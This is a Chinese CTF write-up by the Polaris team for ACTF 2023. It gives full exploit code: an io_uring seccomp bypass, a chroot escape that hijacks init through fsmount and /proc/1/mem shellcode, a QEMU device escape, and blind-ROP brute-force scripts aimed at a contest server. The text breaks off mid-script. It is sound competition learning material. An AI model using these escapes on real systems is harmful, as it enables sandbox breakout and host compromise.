ACTF 2023 Writeup Polaris战队

admin 2023年11月1日13:02:40评论175 views字数 42913阅读143分2秒阅读模式

本次 ACTF 2023,我们星盟ctf战队排名第13。

ACTF 2023 Writeup Polaris战队

01

PWN

1.

master of orw

题目直接给了任意代码执行

但是sandbox禁用了常用的orw(open|read|write) 会用到的系统调用。

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  void *buf; // [rsp+8h] [rbp-8h]
 sub_1209();  buf = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);  puts("Input your code");  read(0, buf, 0x400uLL);  puts("Wish you a good journey");  sandbox();  ((void (*)(void))buf)();  return 0LL;}

禁用规则如下

 line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x19 0xc000003e  if (A != ARCH_X86_64) goto 0027 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x16 0xffffffff  if (A != 0xffffffff) goto 0027 0005: 0x15 0x15 0x00 0x00000000  if (A == read) goto 0027 0006: 0x15 0x14 0x00 0x00000001  if (A == write) goto 0027 0007: 0x15 0x13 0x00 0x00000002  if (A == open) goto 0027 0008: 0x15 0x12 0x00 0x00000011  if (A == pread64) goto 0027 0009: 0x15 0x11 0x00 0x00000012  if (A == pwrite64) goto 0027 0010: 0x15 0x10 0x00 0x00000013  if (A == readv) goto 0027 0011: 0x15 0x0f 0x00 0x00000014  if (A == writev) goto 0027 0012: 0x15 0x0e 0x00 0x00000028  if (A == sendfile) goto 0027 0013: 0x15 0x0d 0x00 0x0000002c  if (A == sendto) goto 0027 0014: 0x15 0x0c 0x00 0x0000002e  if (A == sendmsg) goto 0027 0015: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0027 0016: 0x15 0x0a 0x00 0x00000101  if (A == openat) goto 0027 0017: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0027 0018: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0027 0019: 0x15 0x07 0x00 0x0000012f  if (A == name_to_handle_at) goto 0027 0020: 0x15 0x06 0x00 0x00000130  if (A == open_by_handle_at) goto 0027 0021: 0x15 0x05 0x00 0x00000142  if (A == execveat) goto 0027 0022: 0x15 0x04 0x00 0x00000147  if (A == preadv2) goto 0027 0023: 0x15 0x03 0x00 0x00000148  if (A == pwritev2) goto 0027 0024: 0x15 0x02 0x00 0x000001ac  if (A == 0x1ac) goto 0027 0025: 0x15 0x01 0x00 0x000001b5  if (A == 0x1b5) goto 0027 0026: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0027: 0x06 0x00 0x00 0x00000000  return KILL

刚开始尝试看man文档来寻找可以代替 orw的系统调用,没有发现什么可以替代的系统调用。

随后计划直接看内核源码来寻找orw的替代逻辑。那么这就需要确定服务器内核的大致版本。

首先下载了linux-5.15.137版本的内核,测试其最高的 SYSCALL 是否存在

(若不存在,则表示版本低于5.15.137)

其最高的 SYSCALL 是 process_mrelease。

内核的 syscall table 在 

/linux-5.15.137/arch/x86/entry/syscalls/syscall_64.tbl 

文件中。

448  common  process_mrelease  sys_process_mrelease

远程测试可得process_mrelease存在

因此版本大于 5.15.137。

接着替换linux-6.1.60

其最高的 

SYSCALL 是 set_mempolicy_home_node。

450  common  set_mempolicy_home_node  sys_set_mempolicy_home_node

远程测试可得set_mempolicy_home_node不存在

因此版本小于 6.1.60。

所以后面以 linux-5.15.137为参考。

首先定位到SYS_openat

观察该系统调用的底层实现。

// /linux-5.15.137/fs/open.c:1238SYSCALL_DEFINE4(openat, int, dfd, const char __user *, filename, int, flags,    umode_t, mode){  if (force_o_largefile())    flags |= O_LARGEFILE;  return do_sys_open(dfd, filename, flags, mode);}

其通过 do_sys_open函数来实现打开文件的逻辑

随后在源码中寻找do_sys_open相关引用

没有发现方便利用的逻辑。

继续深入do_sys_open函数

其深层是do_sys_openat2函数

从源码中判断,其主要逻辑是do_filp_open函数。

// /linux-5.15.137/fs/open.c:1224long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode){  struct open_how how = build_open_how(flags, mode);  return do_sys_openat2(dfd, filename, &how);}
// /linux-5.15.137/fs/open.c:1195static long do_sys_openat2(int dfd, const char __user *filename,         struct open_how *how){  struct open_flags op;  int fd = build_open_flags(how, &op);  struct filename *tmp;
 if (fd)    return fd;
 tmp = getname(filename);  if (IS_ERR(tmp))    return PTR_ERR(tmp);
 fd = get_unused_fd_flags(how->flags);  if (fd >= 0) {    struct file *f = do_filp_open(dfd, tmp, &op);    if (IS_ERR(f)) {      put_unused_fd(fd);      fd = PTR_ERR(f);    } else {      fsnotify_open(f);      fd_install(fd, f);    }  }  putname(tmp);  return fd;}

寻找do_filp_open函数的相关引用

在io_uring.c文件中找到其调用函数io_openat2

// /linux-5.15.137/io_uring/io_uring.c:4367static int io_openat2(struct io_kiocb *req, unsigned int issue_flags){    ...  file = do_filp_open(req->open.dfd, req->open.filename, &op);    ...}
通过函数io_openat2寻找引用链,可以得到这样的调用链 :io_openat2 <- io_issue_sqe <- io_wq_submit_work <- io_init_wq_offload <- io_uring_alloc_task_context <- io_sq_offload_create <- io_uring_create <- io_uring_setup <- SYSCALL_DEFINE2(io_uring_setup, u32, entries, struct io_uring_params __user *, params)

因此猜测该 open 实现与 io_uring有关

通过查找其 man 文档 [io_uring_enter.2]

(https://man7.org/linux/man-pages/man2/io_uring_enter.2.html) 

可以确定这一点。其包含了 

IORING_OP_OPENAT,IORING_OP_READ IORING_OP_WRITE

操作,恰好可以进行 orw

因此利用 io_uring的特性进行 orw即可。

下面是实现代码:

#define _GNU_SOURCE#include <stdio.h>#include <fcntl.h>#include <string.h>#include <liburing.h>#include <unistd.h>#include <syscall.h>#include <sys/prctl.h>
#define QUEUE_DEPTH 1
int main() {    struct io_uring ring = {0};    struct io_uring_sqe *sqe;    struct io_uring_cqe *cqe;    int fd, ret;    char buffer[4096] = {0};
   // 初始化 io_uring    if (io_uring_queue_init(QUEUE_DEPTH, &ring, 0) < 0) {        perror("io_uring_queue_init");        return 1;    }
   // 准备打开操作    sqe = io_uring_get_sqe(&ring);    if (!sqe) {        fprintf(stderr, "Failed to get SQEn");        return 1;    }
   int dirfd = AT_FDCWD;  // 当前工作目录的文件描述符    const char *pathname = "./flag";    int flags = O_RDONLY;
   io_uring_prep_openat(sqe, dirfd, pathname, flags, 0);    io_uring_sqe_set_data(sqe, NULL);
   // 提交请求    ret = io_uring_submit(&ring);    if (ret < 0) {        perror("io_uring_submit");        return 1;    }
   // 等待完成    ret = io_uring_wait_cqe(&ring, &cqe);    if (ret < 0) {        perror("io_uring_wait_cqe");        return 1;    }
   // 处理完成的请求    if (cqe->res < 0) {        fprintf(stderr, "Open error: %dn", cqe->res);        return 1;    }
   fd = cqe->res;  // 获取打开的文件描述符
   // 准备读取操作    sqe = io_uring_get_sqe(&ring);    if (!sqe) {        fprintf(stderr, "Failed to get SQEn");        return 1;    }
   io_uring_prep_read(sqe, fd, buffer, sizeof(buffer), 0);    io_uring_sqe_set_data(sqe, NULL);
   // 提交请求    ret = io_uring_submit(&ring);    if (ret < 0) {        perror("io_uring_submit");        return 1;    }
   // 等待完成    ret = io_uring_wait_cqe(&ring, &cqe);    if (ret < 0) {        perror("io_uring_wait_cqe");        return 1;    }
   // 处理完成的请求    if (cqe->res < 0) {        fprintf(stderr, "Read error: %dn", cqe->res);        return 1;    }
   // 准备写操作    sqe = io_uring_get_sqe(&ring);    if (!sqe) {        fprintf(stderr, "Failed to get SQEn");        return 1;    }
   io_uring_prep_write(sqe, 1, buffer, strlen(buffer), 0);    io_uring_sqe_set_data(sqe, NULL);
   // 提交请求    ret = io_uring_submit(&ring);    if (ret < 0) {        perror("io_uring_submit");        return 1;    }
   // 等待完成    ret = io_uring_wait_cqe(&ring, &cqe);    if (ret < 0) {        perror("io_uring_wait_cqe");        return 1;    }
   // 处理完成的请求    if (cqe->res < 0) {        fprintf(stderr, "Read error: %dn", cqe->res);        return 1;    }
   // printf("Read %d bytes: %sn", cqe->res, buffer);
   // 清理并关闭文件    io_uring_cqe_seen(&ring, cqe);    io_uring_queue_exit(&ring);    close(fd);    sleep(1);
   return 0;}

代码是用liburing库实现的,需要在本地编译并上传到服务器执行。

由于程序的沙箱规则并没有禁用recvfrom系统调用

因此可以使用recvfrom来进行上传。

由于每个数据包的大小有限

因此需要用汇编写一个recvn函数来获得稳定的上传功能,recvn代码如下:

mov rsi, 0x400000mov r14, 32768
again:mov edi, 0mov rdx, r14mov r10d, 0xor r8d, r8dxor r9d, r9dmov eax, 45 ;// recvfromsyscalladd rsi, raxsub r14, raxtest r14, r14jnz again

2.

Young Man esCApe

root权限的chroot沙箱加seccomp沙箱逃逸。

 line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x44 0xc000003e  if (A != ARCH_X86_64) goto 0070 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x42 0x00 0x40000000  if (A >= 0x40000000) goto 0070 0004: 0x15 0x41 0x00 0x000000a1  if (A == chroot) goto 0070 0005: 0x15 0x40 0x00 0x000000a5  if (A == mount) goto 0070 0006: 0x15 0x3f 0x00 0x00000110  if (A == unshare) goto 0070 0007: 0x15 0x3e 0x00 0x000000a9  if (A == reboot) goto 0070 0008: 0x15 0x3d 0x00 0x00000065  if (A == ptrace) goto 0070 0009: 0x15 0x3c 0x00 0x00000136  if (A == process_vm_readv) goto 0070 0010: 0x15 0x3b 0x00 0x00000137  if (A == process_vm_writev) goto 0070 0011: 0x15 0x3a 0x00 0x00000130  if (A == open_by_handle_at) goto 0070 0012: 0x15 0x39 0x00 0x0000009b  if (A == pivot_root) goto 0070 0013: 0x15 0x38 0x00 0x000000a3  if (A == acct) goto 0070 0014: 0x15 0x37 0x00 0x000000f8  if (A == add_key) goto 0070 0015: 0x15 0x36 0x00 0x00000141  if (A == bpf) goto 0070 0016: 0x15 0x35 0x00 0x00000131  if (A == clock_adjtime) goto 0070 0017: 0x15 0x34 0x00 0x000000e3  if (A == clock_settime) goto 0070 0018: 0x15 0x33 0x00 0x00000038  if (A == clone) goto 0070 0019: 0x15 0x32 0x00 0x000000ae  if (A == create_module) goto 0070 0020: 0x15 0x31 0x00 0x000000b0  if (A == delete_module) goto 0070 0021: 0x15 0x30 0x00 0x00000139  if (A == finit_module) goto 0070 0022: 0x15 0x2f 0x00 0x000000b1  if (A == get_kernel_syms) goto 0070 0023: 0x15 0x2e 0x00 0x000000ef  if (A == get_mempolicy) goto 0070 0024: 0x15 0x2d 0x00 0x000000af  if (A == init_module) goto 0070 0025: 0x15 0x2c 0x00 0x000000ad  if (A == ioperm) goto 0070 0026: 0x15 0x2b 0x00 0x000000ac  if (A == iopl) goto 0070 0027: 0x15 0x2a 0x00 0x00000138  if (A == kcmp) goto 0070 0028: 0x15 0x29 0x00 0x00000140  if (A == kexec_file_load) goto 0070 0029: 0x15 0x28 0x00 0x000000f6  if (A == kexec_load) goto 0070 0030: 0x15 0x27 0x00 0x000000fa  if (A == keyctl) goto 0070 0031: 0x15 0x26 0x00 0x000000d4  if (A == lookup_dcookie) goto 0070 0032: 0x15 0x25 0x00 0x000000ed  if (A == mbind) goto 0070 0033: 0x15 0x24 0x00 0x00000117  if (A == move_pages) goto 0070 0034: 0x15 0x23 0x00 0x0000012f  if (A == name_to_handle_at) goto 0070 0035: 0x15 0x22 0x00 0x000000b4  if (A == nfsservctl) goto 0070 0036: 0x15 0x21 0x00 0x0000012a  if (A == perf_event_open) goto 0070 0037: 0x15 0x20 0x00 0x00000087  if (A == personality) goto 0070 0038: 0x15 0x1f 0x00 0x000000b2  if (A == query_module) goto 0070 0039: 0x15 0x1e 0x00 0x000000b3  if (A == quotactl) goto 0070 0040: 0x15 0x1d 0x00 0x000000f9  if (A == request_key) goto 0070 0041: 0x15 0x1c 0x00 0x000000ee  if (A == set_mempolicy) goto 0070 0042: 0x15 0x1b 0x00 0x00000134  if (A == setns) goto 0070 0043: 0x15 0x1a 0x00 0x000000a4  if (A == settimeofday) goto 0070 0044: 0x15 0x19 0x00 0x000000a7  if (A == swapon) goto 0070 0045: 0x15 0x18 0x00 0x000000a8  if (A == swapoff) goto 0070 0046: 0x15 0x17 0x00 0x0000008b  if (A == sysfs) goto 0070 0047: 0x15 0x16 0x00 0x0000009c  if (A == _sysctl) goto 0070 0048: 0x15 0x15 0x00 0x000000a6  if (A == umount2) goto 0070 0049: 0x15 0x14 0x00 0x00000086  if (A == uselib) goto 0070 0050: 0x15 0x13 0x00 0x00000143  if (A == userfaultfd) goto 0070 0051: 0x15 0x12 0x00 0x00000088  if (A == ustat) goto 0070 0052: 0x15 0x11 0x00 0x000001b3  if (A == 0x1b3) goto 0070 0053: 0x15 0x10 0x00 0x000001b2  if (A == 0x1b2) goto 0070 0054: 0x15 0x0f 0x00 0x000001b6  if (A == 0x1b6) goto 0070 0055: 0x15 0x0e 0x00 0x000001a8  if (A == 0x1a8) goto 0070 0056: 0x15 0x0d 0x00 0x0000013d  if (A == seccomp) goto 0070 0057: 0x15 0x0c 0x00 0x0000009d  if (A == prctl) goto 0070 0058: 0x15 0x0b 0x00 0x0000009e  if (A == arch_prctl) goto 0070 0059: 0x15 0x0a 0x00 0x000000ae  if (A == create_module) goto 0070 0060: 0x15 0x09 0x00 0x000000af  if (A == init_module) goto 0070 0061: 0x15 0x08 0x00 0x000000b0  if (A == delete_module) goto 0070 0062: 0x15 0x07 0x00 0x000000b1  if (A == get_kernel_syms) goto 0070 0063: 0x15 0x06 0x00 0x000000b2  if (A == query_module) goto 0070 0064: 0x15 0x05 0x00 0x000000d5  if (A == epoll_create) goto 0070 0065: 0x15 0x04 0x00 0x00000123  if (A == epoll_create1) goto 0070 0066: 0x15 0x03 0x00 0x000001a9  if (A == 0x1a9) goto 0070 0067: 0x15 0x02 0x00 0x000001aa  if (A == 0x1aa) goto 0070 0068: 0x15 0x01 0x00 0x000001ab  if (A == 0x1ab) goto 0070 0069: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0070: 0x06 0x00 0x00 0x00000000  return KILL

题目给的内核是 linux-6.1.5

下载对应的源码在 

/linux-6.1.5/arch/x86/entry/syscalls/syscall_64.tbl

文件中寻找可用的系统调用。

可以找到 fsmount这个系统调用,从名字可以看出这是一个跟挂载操作相关的系统调用,查阅相关文档,然后尝试使用其对 procfs进行挂载,测试可以挂载成功,随后就可以利用procfs劫持 init 进程。

#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <stddef.h>#include <fcntl.h>#include <dirent.h>#include <syscall.h>#include <sys/syscall.h>#include <sys/prctl.h>#include <sys/types.h>#include <sys/stat.h>#include <linux/seccomp.h>#include <linux/filter.h>#include <linux/mount.h>
int main(){        int sfd, mfd, fd;    char buf[0x100];    size_t image_addr = 0;    unsigned char shellcode[] = {        0x48, 0x8d, 0x3d, 0x17, 0x00, 0x00, 0x00, 0x48, 0x89, 0x3c, 0x24, 0x48,        0xc7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xe6, 0xb8,        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,        0x68, 0x00    };    
   // Mount procfs    sfd = syscall(SYS_fsopen, "proc", FSOPEN_CLOEXEC);    syscall(SYS_fsconfig, sfd, FSCONFIG_SET_STRING, "source", "proc", 0);    syscall(SYS_fsconfig, sfd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);    mfd = syscall(SYS_fsmount, sfd, 0, 0, 0, 0);    mkdir("/proc", 755);    syscall(SYS_move_mount, mfd, "", AT_FDCWD, "/proc", MOVE_MOUNT_F_EMPTY_PATH);
   // Leak address    fd = open("/proc/1/maps", O_RDONLY);    read(fd, buf, sizeof(buf));    image_addr = 0;    for(int i = 0; buf[i] != '-'; i++)    {        if(buf[i] >= '0' && buf[i] <= '9')        {            image_addr = image_addr * 0x10 + (buf[i] - '0');        }        if(buf[i] >= 'a' && buf[i] <= 'f')        {            image_addr = image_addr * 0x10 + (buf[i] - 'a' + 0xa);        }    }    printf("Image addr: 0x%lxn", image_addr);
   // Hijack init process    fd = open("/proc/1/mem", O_RDWR);    lseek(fd, image_addr + 0x3c28e, SEEK_SET);    write(fd, shellcode, sizeof(shellcode));
   return 0;}

3.

qemu playground - 2

mmio_write中存在越界写

可以劫持g_malloc返回值的低四字节

pmio任意地址读写。

#include <unistd.h>#include <sys/io.h>#include <memory.h>#include <stdint.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <stdlib.h>#include <stdio.h>

#define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define    page_map_file     "/proc/self/pagemap"#define    PFN_MASK          ((((uint64_t)1)<<55)-1)#define    PFN_PRESENT_FLAG  (((uint64_t)1)<<63)
unsigned char* mmio_mem;size_t pmio_base=0xc040;
void die(char*s){  puts(s);  exit(-1);}
size_t mem_addr_vir2phy(unsigned long vir){    int fd;    int page_size=getpagesize();    unsigned long vir_page_idx = vir/page_size;    unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);    uint64_t pfn_item;
   fd = open(page_map_file, O_RDONLY);    if (fd<0)    {        printf("open %s failed", page_map_file);        return -1;    }
   if ((off_t)-1 == lseek(fd, pfn_item_offset, SEEK_SET))    {        printf("lseek %s failed", page_map_file);        return -1;    }
   if (sizeof(uint64_t) != read(fd, &pfn_item, sizeof(uint64_t)))    {        printf("read %s failed", page_map_file);        return -1;    }
   if (0==(pfn_item & PFN_PRESENT_FLAG))    {        printf("page is not present");        return -1;    }    return (pfn_item & PFN_MASK)*page_size + vir % page_size;}

void mmio_write(size_t addr, size_t value){    *((uint32_t*)(mmio_mem + addr)) = value;    *((uint32_t*)(mmio_mem + addr+4)) = value>>32;}void mmio_write_32(size_t addr, size_t value){    *((uint32_t*)(mmio_mem + addr)) = value;}uint32_t mmio_read(uint32_t addr){    return  *((uint32_t*)(mmio_mem + addr));}uint32_t  pmio_write(uint32_t addr, uint32_t  value){    outb(value,addr+pmio_base);}
size_t pmio_read(uint32_t addr){    return (uint32_t)inb(addr+pmio_base);}void open_pmio(){    // Open and map I/O memory for the device    if (iopl(3) !=0 )        die("I/O permission is not enough");
}void open_mmio(){    // Open and map I/O memory for the device    int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC);    if (mmio_fd == -1)        die("mmio_fd open failed");    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);    if (mmio_mem == MAP_FAILED)        die("mmap mmio_mem failed");}
void* mmap_new(){    return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);}
unsigned char shellcode[] = {0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x68,0x6f,0x2e,0x63,0x60,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x72,0x69,0x1,0x2c,0x62,0x1,0x2e,0x63,0x48,0x31,0x4,0x24,0x31,0xf6,0x56,0x6a,0xe,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};

void* maps[100] = {0};
void bypass_checkflag1(char *flag){    for(int i=0;i<64;i++)    {        mmio_mem[i]=flag[i];    }
}int main(int argc, char *argv[]){    setbuf(stdin,0);    setbuf(stdout,0);    setbuf(stderr,0);
   open_mmio();    open_pmio();
   mmio_write(0, 0x3348637b46544341);    mmio_write(8, 0x49775f6e315f4b63);    mmio_write(0x10, 0x5f796240425f6837);    mmio_write(0x18, 0x545F723368703143);    mmio_write(0x20, 0x515F6E315F742465);    mmio_write(0x28, 0x79346C705F554D33);    mmio_write(0x30, 0x315F644E754F3367);    mmio_write(0x38, 0x7D21795341455F24);
   //bypass_checkflag1("ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}");    pmio_write(1,0);
   //g_malloc    pmio_write(0x1f,0);
   size_t low_dword = 0;    size_t leak = 0;    int i=0;    for(i=0; i<6;i++)    {        low_dword = pmio_read(0x10+i);        leak += low_dword << 8*i;    }
   //high_dword = low_dword + (high_dword << 32);    printf("[+] leak : 0x%llxn", leak);    //fake system    size_t system = leak + 0x34e50ce0;    printf("[+] system : 0x%llxn", system);    //0x2fac48    //0x31942ae8 0x82b0    mmio_write_32(0x40, (leak & 0xffffff00) + 0x8340);    size_t stack=0;    for(i=0; i<6;i++)    {        low_dword = pmio_read(0x10+i);        stack += low_dword << 8*i;    }    printf("[+] stack : 0x%llxn", stack);
   mmio_write_32(0x40, (leak & 0xffffff00) + 0x8350);    size_t code_base=0;    for(i=0; i<6;i++)    {        low_dword = pmio_read(0x10+i);        code_base += low_dword << 8*i;    }    code_base -= 0x164b70;    printf("[+] pie : 0x%llxn", code_base);
       mmio_write_32(0x40, (leak & 0xffffff00) + 0x50);    size_t rwx_addr_ptr=0;    for(i=0; i<6;i++)    {        low_dword = pmio_read(0x10+i);        rwx_addr_ptr += low_dword << 8*i;    }    printf("[+] rwx_addr_ptr : 0x%llxn", rwx_addr_ptr);

   mmio_write_32(0x40, (rwx_addr_ptr & 0xffffffff) + 0x50);    size_t rwx_addr=0;    for(i=0; i<6;i++)    {        low_dword = pmio_read(0x10+i);        rwx_addr += low_dword << 8*i;    }    printf("[+] rwx_addr : 0x%llxn", rwx_addr);        //shellcode +0x2c4bce0    mmio_write_32(0x40, (rwx_addr & 0xffffffff));      //char* shellcode = "x6ax67x48xb8x2fx72x65x61x64x66x6cx61x50x48x89xe7x31xd2x31xf6x6ax3bx58x0fx05";    char* shellcode = "x48xb8x01x01x01x01x01x01x01x01x50x48xb8x2ex67x6dx60x66x01x01x01x48x31x04x24x6ax02x58x48x89xe7x31xf6x0fx05x41xbaxffxffxffx7fx48x89xc6x6ax28x58x6ax01x5fx99x0fx05";    for(i=0; i<=0xf;i++)    {        pmio_write(0x10+i, shellcode[i]);    }    mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x10);    for(i=0; i<=0xf;i++)    {        pmio_write(0x10+i, shellcode[i+0x10]);    }    mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x20);    for(i=0; i<=0xf;i++)    {        pmio_write(0x10+i, shellcode[i+0x20]);    }    mmio_write_32(0x40, (rwx_addr & 0xffffffff) + 0x30);    for(i=0; i<53-0x30;i++)    {        pmio_write(0x10+i, shellcode[i+0x30]);    }        mmio_write_32(0x40, (stack & 0xffffffff) - 0x4cc);    outl(rwx_addr&0xffffffff,pmio_base+0x10);    printf("[+] hack : 0x%llx -> 0x%llxn", stack - 0x4cc, rwx_addr);
   return 0;}

4.

blind

拿到题目后发现是一道 brop 题目,不同的是程序开启了 pie,并且是通过编辑器(ad)模式移动光标,通过 ws 修改单字节,修改的数据从 0 ~ 0xff 循环

其中 ad 移动没有限制,可以左右溢出,并且存在着

Aaaaaaax00stack_addr -> Aaaaaaax00

这样的栈布局,其中修改 stack_addr 

我们就可以控制函数再次循环执行时候的输出数据

通过这一个漏洞,我们可以发现程序远程开启了 PIE

并且通过尝试,可以发现如下栈布局

call_addrAaaaaaax00stack_addr -> Aaaaaaax00xxxxxxxxxxxxxxx

先通过泄露 call_addr 的值,是一个程序 text 地址,比如获取到是 0x563962abb5400,那么就可以判断出 pro_base 是 0x563962abb5400 - 0x1540 = 0x563962aba000

由于程序的修改是单字节修改,所以我们只能修改 call_addr 的单字节,那么就需要布置 rop 链来爆破需要的信息

把 call_addr 做 stop_gadget ,那么,根据远程靶机的执行结果,可以知道 stop_gadget + xx 处存在一个 ret 指令,这是可以通过单字节爆破得到的。

因为需要布置 rop 链,所以第一次需要爆破出 ret 指令

爆破exp

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport tty
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')#p = remote('120.46.65.156', 32104)#p = process('./Genshin')elf = ELF('./Genshin')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):  return str(size).encode() + b'w'def s(size):  return str(size).encode() + b's'def a(size):  return str(size).encode() + b'a'def d(size):  return str(size).encode() + b'd'def to_(a, b):  if a > b:    return s(a - b)  else:    return w(b - a)
def toto_(a, b):  sc = to_(a & 0xff, b & 0xff)  sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)  sc += b'7a'  return sc
for i in range(0, 0xff):  p = remote('120.46.65.156', 32104)  rl(b'[A]aaaaaa')  sc =  d(8) + s(8)  sla(b'> ', sc)  print('i ->>>>', hex(i))  stop_gadget = u64(rl(b'x00x00'))  pro_base = stop_gadget - 0x1540
 sc = toto_(0x0061616161616141, stop_gadget)  sla(b'> ', sc)    sc = a(0x8) + w(i)  sla(b'> ', sc)
 try:    pr()    pr()    print(i)    pause()    p.close()  except:    p.close()    pass

最后可以发现,当 i = 32 时候,

会执行到 stop_gadget ,因此

ret_gadget = stop_gadget + 32

第二次爆破是爆破 

csu1_gadget 也就是 pop6_gadget

ACTF 2023 Writeup Polaris战队

上面已经爆破出 ret_gadget 了

所以这里我们在距离 

Aaaaaax00 的地方写入 stop_gadget 

以此爆破 pop6_gadget

爆破脚本

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport tty
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')#p = remote('120.46.65.156', 32104)#p = process('./Genshin')elf = ELF('./Genshin')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def w(size):  return str(size).encode() + b'w'def s(size):  return str(size).encode() + b's'def a(size):  return str(size).encode() + b'a'def d(size):  return str(size).encode() + b'd'def to_(a, b):  if a > b:    return s(a - b)  else:    return w(b - a)
def toto_(a, b):  sc = to_(a & 0xff, b & 0xff)  sc +=  b'D' + to_((a >> (1 * 8)) & 0xff, (b >> (1 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (2 * 8)) & 0xff, (b >> (2 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (3 * 8)) & 0xff, (b >> (3 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (4 * 8)) & 0xff, (b >> (4 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (5 * 8)) & 0xff, (b >> (5 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (6 * 8)) & 0xff, (b >> (6 * 8)) & 0xff)  sc +=  b'D' + to_((a >> (7 * 8)) & 0xff, (b >> (7 * 8)) & 0xff)  sc += b'7a'  return sc
for i in range(0, 0x1000):
